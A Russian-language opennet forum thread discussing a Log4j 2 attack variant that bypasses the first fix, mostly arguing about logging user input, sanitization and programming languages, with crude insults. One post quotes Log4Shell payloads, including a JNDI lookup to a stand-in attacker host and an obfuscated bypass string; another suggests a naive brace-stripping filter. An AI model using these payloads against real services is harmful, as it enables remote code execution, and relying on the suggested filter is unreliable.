Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

Новый вариант атаки на Log4j 2, позволяющий обойти добавленную защиту, opennews (??), 15-Дек-21, (0) [смотреть все] Скрыто модератором, Аноним (1), 10:33 , 15-Дек-21, (1) –2 Скрыто модератором, InuYasha (??), 10:33 , 15-Дек-21, (2) // Скрыто модератором, Аноним (13), 11:07 , 15-Дек-21, (13) +1 Это какой-то позор , DEF (?), 10:35 , 15-Дек-21, (3) +16 // ну это каждый местный эксперт сам решает, Аноним (1), 10:36 , 15-Дек-21, (4) +5 Диды по-другому не могли, постоянно выдумывали какие-то прикольные штуки типа , Аноним (5), 10:40 , 15-Дек-21, (5) –7 // Диды писали и пушут на Си А джаверы - это растоманы v1 0, как и те, которые прид, Аноним (25), 11:33 , 15-Дек-21, (25) +14 // Ой ли Традиционным языком дидов является пердл со страшными writeonly-регекспам, Аноним (5), 12:10 , 15-Дек-21, (34) –11 Ларри слабал perl в 1987 годуИ Ларри, к сведению, лингвист Делал для себя косты, Аноним (51), 13:00 , 15-Дек-21, (51) +7 Скрыто модератором, Урри (ok), 13:24 , 15-Дек-21, (57) +2 Я сам из дидов, но в пердл толком даже не умею В скриптовых языках мне вообще в, Аноним (25), 15:58 , 15-Дек-21, (84) +2 Ну я вот в перл умею И он не страшнее остального, что создавалось в его время , Crazy Alex (ok), 17:22 , 15-Дек-21, (88) +4 bin bash находится одесную Отца Не богохульствуй , ms is piace of s (?), 20:18 , 15-Дек-21, (97) Ошибка 1, 20 ожидалось предлог местоположения и направление после находится B, ммнюмнюмус (?), 12:04 , 16-Дек-21, (112) +1 Тоже скучаю, для скриптов удобнее питона, гораздо более читаемо чем баш, довольн, keydon (ok), 18:50 , 17-Дек-21, (118) Целевая аудитория java была - для кого С слишком сложно Можно сканы журнало, Аноним (51), 13:04 , 15-Дек-21, (52) +1 Sun же, или уже забыли , АнонимГоним (?), 13:50 , 15-Дек-21, (62) +4 Ооо, даааа Сам читал интервью с МакНили, которое кто-то вывесил на доске объя, YetAnotherOnanym (ok), 14:56 , 15-Дек-21, (74) Ох ты ж Да, слиплись в памяти в одно , Аноним (51), 22:53 , 15-Дек-21, (108) просто памяти не хватило, Аноним (114), 17:54 , 16-Дек-21, (114) +2 прямо как сейчас растаманы , примерно_36_скотинок (ok), 13:59 , 15-Дек-21, (64) +2 Эм, и что в нём сложного ЯП ВУ же Под вопросом только читабельность кода из по, Аноним (1), 14:59 , 15-Дек-21, (75) –3 Метапрограммирование в целом и шаблоны в частности Множественное наследование кл, DeadMustdie (??), 19:30 , 15-Дек-21, (94) +2 Один известный персонаж с усиками тоже имел привычку смотреть на некоторых как н, ms is piece of s (?), 20:26 , 15-Дек-21, (99) От которых жабисты и научились в format vuln Догнали и перегнали, акселерация , Аноним (-), 12:01 , 23-Дек-21, (123) Э нет, в log4j 1 x этого не было , Mike Lee (?), 11:47 , 15-Дек-21, (26) +4 Благодаря такому формату IP до сих пор нет Великого Российского Фаервола, потому, Аноним (66), 14:08 , 15-Дек-21, (66) +5 // Зато есть великий американский файрволл, и вот что с ним делать не знает никто , X86 (ok), 17:53 , 15-Дек-21, (89) –1 Тут несколько опечаток в слове китайский , Аноним (-), 12:02 , 23-Дек-21, (124) Не, просто починили не коренную проблему, а залатали именно ту дырку на которую , Kuromi (ok), 18:20 , 15-Дек-21, (90) Надоели Log4j2 как сам, так и опасный контекст из vulnerability issue, испол, Аноним (7), 10:43 , 15-Дек-21, (7) –20 // Как соотносится использует полтора программиста и подтверждённое проявление уя, Аноним (9), 10:55 , 15-Дек-21, (9) +8 // Фактом наличия в зависимостях проектов То есть, никак, по факту , Аноним (7), 11:01 , 15-Дек-21, (11) –3   // в нормальном коде не выводятся параметры приходящие от пользователя в лог, плюс , полураспад (?), 11:05 , 15-Дек-21, (12) +1   Выходит нормальный по вашим представлениям код в корпоративной среде не встреч, Аноним (13), 11:11 , 15-Дек-21, (14) +4   А ведь он прав , Аноньимъ (ok), 18:43 , 15-Дек-21, (93)   Скажите это тем, кто пишет в лог значение User Agent, X-Forward-For и прочих заг, Аноним (18), 11:20 , 15-Дек-21, (18) +2   Это почему Вот вызвали функцию с какими-то параметрами Функция проверила парам, Фняк (?), 11:55 , 15-Дек-21, (28) +4   точно, нормальный код логает в лог только ok и error Предоставляя гадать, что и, пох. (?), 11:58 , 15-Дек-21, (30) +8   Проблема не в том что значения от пользователя выводятся в лог, проблема в том ч, quantic (?), 15:06 , 15-Дек-21, (76) +1   врать не надо навскидку apache выводит referer и user-agent оба от пользовател, john_erohin (?), 20:28 , 15-Дек-21, (100)   Только эксперты с opennet знают как правильно писать код Жаль что почему-то не , Аноним (102), 20:45 , 15-Дек-21, (102)   Это компании которые _сами_ подтвердили проявление уязвимости Log4j в своих прод, Аноним (18), 11:22 , 15-Дек-21, (20) +2   1 Далеко не все делают бесконтрольную подстановку данных, принятых от пользоват, Аноним (-), 11:58 , 15-Дек-21, (31) +2   А как надо правильно логировать http запрос от пользователя , Аноним (40), 12:36 , 15-Дек-21, (40) +3   Любым способом, не подразумевающим подстановку поля, полученного от пользователя, Аноним (7), 12:45 , 15-Дек-21, (42) +2   А если уже в полученном от пользователя поле , Урри (ok), 12:56 , 15-Дек-21, (48)   msg replace , Ну, или, не используйте log4j2 , Аноним (-), 13:05 , 15-Дек-21, (53) –1   Вы лучше не используйте replace Ибо 7B, Аноним (54), 13:17 , 15-Дек-21, (54) +1   7B тоже log4j2 интерпретирует , Аноним (7), 14:38 , 15-Дек-21, (70)   Вот, самое правильное предложение Тянуть в рот васянские поделки - зло Тем боле, Онаним (?), 09:10 , 16-Дек-21, (110)   утверждая, что их дерьмо надо было покрыть глазурью, посахарить и вот-тогда-то п, примерно_36_скотинок (ok), 14:02 , 15-Дек-21, (65)   Если я подставлю допустим объект, содержащий тело и мапу заголовков - это нормал, Аноним (40), 14:51 , 15-Дек-21, (73)   Пример из оригинала - https www lunasec io docs blog log4j-zero-day example-v, Аноним (7), 18:33 , 15-Дек-21, (92)   Дословно, с предварительным обеззараживанием, обесклычиванием, убеганием и прочи, YetAnotherOnanym (ok), 15:07 , 15-Дек-21, (77)   Подскажите, как правильно обезораживать и обесклычивать в java , Аноним (102), 21:39 , 15-Дек-21, (105)   С этим обращайтесь на стаковерфлоу , YetAnotherOnanym (ok), 15:43 , 16-Дек-21, (113)   Что же ты пишешь что нужно обесклычивать если сам не знаешь как это делать , Аноним (102), 10:07 , 19-Дек-21, (122)   Достаточно любой подстановки внешних данных в лог, не важно как они переданы чер, Аноним (60), 13:40 , 15-Дек-21, (60) +1   Как хорошо, что ничего кроме slf4j logback у нас не используется , Аноним (7), 14:46 , 15-Дек-21, (72)   Причем жопа в том что это как раз то о чем многажды говорили большевики - пытаяс, пох. (?), 11:56 , 15-Дек-21, (29) +4 // просто системные либы могут быть разные А модно молодежным програмистам хочется, макпыф (ok), 14:21 , 15-Дек-21, (69) +1 У уязвимости есть уже подходящее имя Предлагаю Log4jopa , Аноним (10), 11:01 , 15-Дек-21, (10) +8 // Log4calypse же, Аноним (16), 11:15 , 15-Дек-21, (16) +1 log4jShell, Анимус (?), 11:30 , 15-Дек-21, (23) Log4uckup, Аноним (56), 13:20 , 15-Дек-21, (56) +4 Смотреть бесплатно и без регистрации Amateurs Log4Codeshot compilation, Омномном2 (?), 13:25 , 15-Дек-21, (58) Где же тысячи глаз попенсорса которые должны находить каждую уазвимость за на, Аноним (16), 11:13 , 15-Дек-21, (15) –8 // Ну так вот и нашли , eugener (ok), 11:19 , 15-Дек-21, (17) +11 // находить и не пущать в релиз, Аноним (16), 11:21 , 15-Дек-21, (19) +1 // Э, а вот так мы не договаривались , тысячегласс (?), 11:22 , 15-Дек-21, (21) Тогда это считалось фичей Круто же, лукапить строчки из лога А эти хакеры всё , eugener (ok), 11:22 , 15-Дек-21, (22) +3 Старая история про солонки, да , Урри (ok), 12:58 , 15-Дек-21, (49) +2 Про релиз договора не было Было только про то что нашли , Аноним (33), 12:09 , 15-Дек-21, (33) +2 Вроде нашёл инженер из Алибабы, в процессе сопровождения внутренностей алибабовс, DeadMustdie (??), 19:38 , 15-Дек-21, (96) Простое решение уязвимости в любой версии - отказ от JNDI в библиотеке log4j-cor, Анатолий (??), 12:17 , 15-Дек-21, (35) +3 // ща погодь, я на продакшоне сразу Скинь плз на почту этот jar с удаленным классо, Аноним (5), 12:21 , 15-Дек-21, (36) +6 // у меня старый log4j версии 2 4переход на 2 15 0 выл связан с несколькими несовме, Анатолий (??), 12:46 , 15-Дек-21, (43) +4 На, лови log4j-core-2 4 2 jar exeКороче, это пофикшеный логфорджи, плюс он авто, ms is piece of s (?), 20:57 , 15-Дек-21, (104) +5 // срочно переделай распространять нужно в виде даунлоадера правильной, патченной, тигар.логиниться.лень (?), 11:58 , 17-Дек-21, (117) Скрыто модератором, Аноним12345 (?), 12:48 , 15-Дек-21, (44) –3 // Скрыто модератором, Аноним (-), 12:51 , 15-Дек-21, (45) +1 // Скрыто модератором, Аноним (54), 13:58 , 15-Дек-21, (63) –1 // Скрыто модератором, Аноним (7), 14:40 , 15-Дек-21, (71) +1 Скрыто модератором, Аноним (82), 15:29 , 15-Дек-21, (82) Скрыто модератором, Аноним (101), 20:38 , 15-Дек-21, (101) Скрыто модератором, Урри (ok), 12:58 , 15-Дек-21, (50) +2 А ведь Java безопасно работает с памятью, а всё равно дыра как такое может быть , Аноним (67), 14:19 , 15-Дек-21, (67) // При чем здесь память, это ошибка поведения - eval произвольных данных , cheater (?), 15:14 , 15-Дек-21, (79) +6 // И это - будущее раста , Аноним (82), 15:28 , 15-Дек-21, (81) +3 // Это прошлое раста В C этой проблемы уже давным давно нет , Аноним (87), 17:07 , 15-Дек-21, (87) –2 Более того добавлю В С все эти проблемы которые вы тут вешаете на С были реше, Аноним (87), 21:44 , 15-Дек-21, (106) –2 Ну да - если плюсы не юзать - плюсопроблем и нет Л-логика Для дюбого Ёзыга, _ (??), 19:41 , 16-Дек-21, (116) Этого не может быть Это заговор, как китайский короновирус , gogo (?), 15:46 , 15-Дек-21, (83) А ведь люди сперва распарсевают смысл написанного, а всё равно задают глупые воп, ms is piece of s (?), 20:50 , 15-Дек-21, (103) // Да ладно тебе Ну кто таким заниматься будет , Аноним (109), 06:39 , 16-Дек-21, (109) Ну всё, сейчас будут вместо того, чтобы eval убрать, городить кучу валидаций, и , Онаним (?), 20:23 , 15-Дек-21, (98) +7 // В любой валидации будет дыра, ведь код пишут прогосеки с растаманоподобными мозг, Аноним (82), 02:56 , 18-Дек-21, (120) // Это называется за смузи проeval и зияющую дырину , Онаним (?), 19:00 , 18-Дек-21, (121) А ведь это даже не сишечка с переполнением буфера А вполне кошерный менеджмент , anonymous (??), 22:48 , 15-Дек-21, (107) +3 // Да как обычно, дело не в бобине , Онаним (?), 09:12 , 16-Дек-21, (111) +1 // сейчас где то умер котё W ржавчик Как же так то ржавчина нэ спасэ как, _ (??), 19:39 , 16-Дек-21, (115) // Не только не спасает, а даже облегчает написание троянов , Аноним (82), 02:54 , 18-Дек-21, (119) 3,7,10,15,35,67,98,107

Сообщения

[Сортировка по времени | RSS]

	11. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	–3 +/–
	Сообщение от Аноним (7), 15-Дек-21, 11:01
	> Как соотносится "использует полтора программиста" и подтверждённое проявление уязвимости в продуктах GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens и Rockwell? Фактом наличия в зависимостях проектов. То есть, никак, по факту.
	Ответить | Правка | Наверх | Cообщить модератору

	12. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+1 +/–
	Сообщение от полураспад (?), 15-Дек-21, 11:05
	в нормальном коде не выводятся параметры приходящие от пользователя в лог, плюс это проверка давно существует в анализаторах безопастности, они показывают где параметры из запросов логируются в лог
	Ответить | Правка | Наверх | Cообщить модератору

	14. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+4 +/–
	Сообщение от Аноним (13), 15-Дек-21, 11:11
	Выходит "нормальный" по вашим представлениям код в корпоративной среде не встречается. Плюс на практике было показано как уязвимость работала в системах Amazon, Microsoft и многих других. У них "анализаторы безопасности" тоже какие-то неправильные? К чему в таком случае вся эта ремарка?
	Ответить | Правка | Наверх | Cообщить модератору

	93. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноньимъ (ok), 15-Дек-21, 18:43
	>Выходит "нормальный" по вашим представлениям код в корпоративной среде не встречается. А ведь он прав.
	Ответить | Правка | Наверх | Cообщить модератору

	18. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+2 +/–
	Сообщение от Аноним (18), 15-Дек-21, 11:20
	Скажите это тем, кто пишет в лог значение User Agent, X-Forward-For и прочих заголовков. В логи такое пишут повсеместно.
	Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

	28. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+4 +/–
	Сообщение от Фняк (?), 15-Дек-21, 11:55
	Это почему? Вот вызвали функцию с какими-то параметрами. Функция проверила параметры и какие-то из них не валидны. Перед тем как вернуть соответствующий код возврата она пишет в лог сообщение о том что вот не получилось выполнить работу потому во то условие не выполняется при вот этих входных параметрах. Пишет это она для админа на случай если к нему придут с вопросами «а почему не работает?» функция сама по себе понятия не имеет откуда переданные параметры взялись, от пользователя или ещё откуда
	Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

	30. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+8 +/–
	Сообщение от пох. (?), 15-Дек-21, 11:58
	точно, нормальный код логает в лог только ok и error. Предоставляя гадать, что именно было ok и чего error. Дайте угадаю - вы разработчик на модном языке?
	Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

	76. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+1 +/–
	Сообщение от quantic (?), 15-Дек-21, 15:06
	Проблема не в том что значения от пользователя выводятся в лог, проблема в том что log4j их не фильтрует. Это их факап.
	Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

	100. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от john_erohin (?), 15-Дек-21, 20:28
	> в нормальном коде не выводятся параметры приходящие от пользователя в лог, врать не надо. навскидку: apache выводит referer и user-agent (оба от пользователя) в combined log. bind выводит попытки рекурсии от обнаглевших "сканеров безопастности" в лог. что, у них ненормальный код ?
	Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

	102. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноним (102), 15-Дек-21, 20:45
	Только эксперты с opennet знают как правильно писать код. Жаль что почему-то не пишут
	Ответить | Правка | К родителю #12 | Наверх | Cообщить модератору

	20. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+2 +/–
	Сообщение от Аноним (18), 15-Дек-21, 11:22
	Это компании которые _сами_ подтвердили проявление уязвимости Log4j в своих продуктах. Логи с отражением User Agent по умолчанию ведут почти все корпоративные системы.
	Ответить | Правка | К родителю #11 | Наверх | Cообщить модератору

	31. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+2 +/–
	Сообщение от Аноним (-), 15-Дек-21, 11:58
	1) Далеко не все делают бесконтрольную подстановку данных, принятых от пользователя, непосредственно в ".. {}.." лога. 2) Не самый распространённый случай использования JNDI внутри организации. 3) Неплохо бы иметь доступ к ресурсам JNDI из сети, где расположен сервис. А теперь вопрос - скольких компаний  это реально касается до такой степени, чтобы кричать "ужас-ужас"?
	Ответить | Правка | Наверх | Cообщить модератору

	40. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+3 +/–
	Сообщение от Аноним (40), 15-Дек-21, 12:36
	> не все делают бесконтрольную подстановку данных, принятых от пользователя, непосредственно в ".. {}.." лога. А как надо правильно логировать http запрос от пользователя?
	Ответить | Правка | Наверх | Cообщить модератору

	42. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+2 +/–
	Сообщение от Аноним (7), 15-Дек-21, 12:45
	Любым способом, не подразумевающим подстановку поля, полученного от пользователя в конструкцию "{}". Вроде не сложно такой подобрать PS: если руководствоваться здравым смыслом при написании программы, то случаев, когда значения HTTP-заголовков подставляются в log4j непосредственно, не так уж и много. И вообще, не приходит в голову, когда это может понадобиться.
	Ответить | Правка | Наверх | Cообщить модератору

	48. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Урри (ok), 15-Дек-21, 12:56
	А если {} уже в полученном от пользователя поле?
	Ответить | Правка | Наверх | Cообщить модератору

	53. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	–1 +/–
	Сообщение от Аноним (-), 15-Дек-21, 13:05
	msg.replace("{", "") Ну, или, не используйте log4j2.
	Ответить | Правка | Наверх | Cообщить модератору

	54. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+1 +/–
	Сообщение от Аноним (54), 15-Дек-21, 13:17
	Вы лучше не используйте replace. Ибо %7B
	Ответить | Правка | Наверх | Cообщить модератору

	70. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноним (7), 15-Дек-21, 14:38
	%7B тоже log4j2 интерпретирует?
	Ответить | Правка | Наверх | Cообщить модератору

	110. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Онаним (?), 16-Дек-21, 09:10
	Вот, самое правильное предложение. Тянуть в рот васянские поделки - зло. Тем более, что изобретение данного "велосипеда" - дело по сути минутное.
	Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

	65. "то есть жабисты обосрались но изворачиваются"	+/–
	Сообщение от примерно_36_скотинок (ok), 15-Дек-21, 14:02
	утверждая, что их дерьмо надо было покрыть глазурью, посахарить и вот-тогда-то получится конфетка. просто видите ли говно неправильно готовят.
	Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

	73. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноним (40), 15-Дек-21, 14:51
	Если я подставлю допустим объект, содержащий тело и мапу заголовков - это нормально? Главное не подставить в {} строку со значением?
	Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

	92. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноним (7), 15-Дек-21, 18:33
	Пример из оригинала - https://www.lunasec.io/docs/blog/log4j-zero-day/#example-vul... Если нет в строке {..}, то ничего и не запустит. URL-decode оно само делать не умеет.
	Ответить | Правка | Наверх | Cообщить модератору

	77. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от YetAnotherOnanym (ok), 15-Дек-21, 15:07
	> А как надо правильно логировать http запрос от пользователя? Дословно, с предварительным обеззараживанием, обесклычиванием, убеганием и прочими аналогичными процедурами.
	Ответить | Правка | К родителю #40 | Наверх | Cообщить модератору

	105. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноним (102), 15-Дек-21, 21:39
	Подскажите, как правильно обезораживать и обесклычивать в java?
	Ответить | Правка | Наверх | Cообщить модератору

	113. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от YetAnotherOnanym (ok), 16-Дек-21, 15:43
	С этим обращайтесь на стаковерфлоу.
	Ответить | Правка | Наверх | Cообщить модератору

	122. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноним (102), 19-Дек-21, 10:07
	Что же ты пишешь что нужно обесклычивать если сам не знаешь как это делать?
	Ответить | Правка | Наверх | Cообщить модератору

	60. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+1 +/–
	Сообщение от Аноним (60), 15-Дек-21, 13:40
	Достаточно любой подстановки внешних данных в лог, не важно как они переданы через подстановку или голой строкой. Главная проблема в этой узявимости, что Log4j сам разберёт "${..}" в выводимой строке, никаких особых подстановок для этого делать не нужно. Т.е.  написал в коде "logger.info(extvar);" и можно хакнуть, если есть возможность переть в  extvar что-то типа "${jndi:ldap://attacker.com/a}" или "${env:FOO:-j}ndi:${lower:L}da${lower:P}", как в примере в новости.
	Ответить | Правка | К родителю #31 | Наверх | Cообщить модератору

	72. "Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."	+/–
	Сообщение от Аноним (7), 15-Дек-21, 14:46
	Как хорошо, что ничего кроме slf4j/logback у нас не используется....
	Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема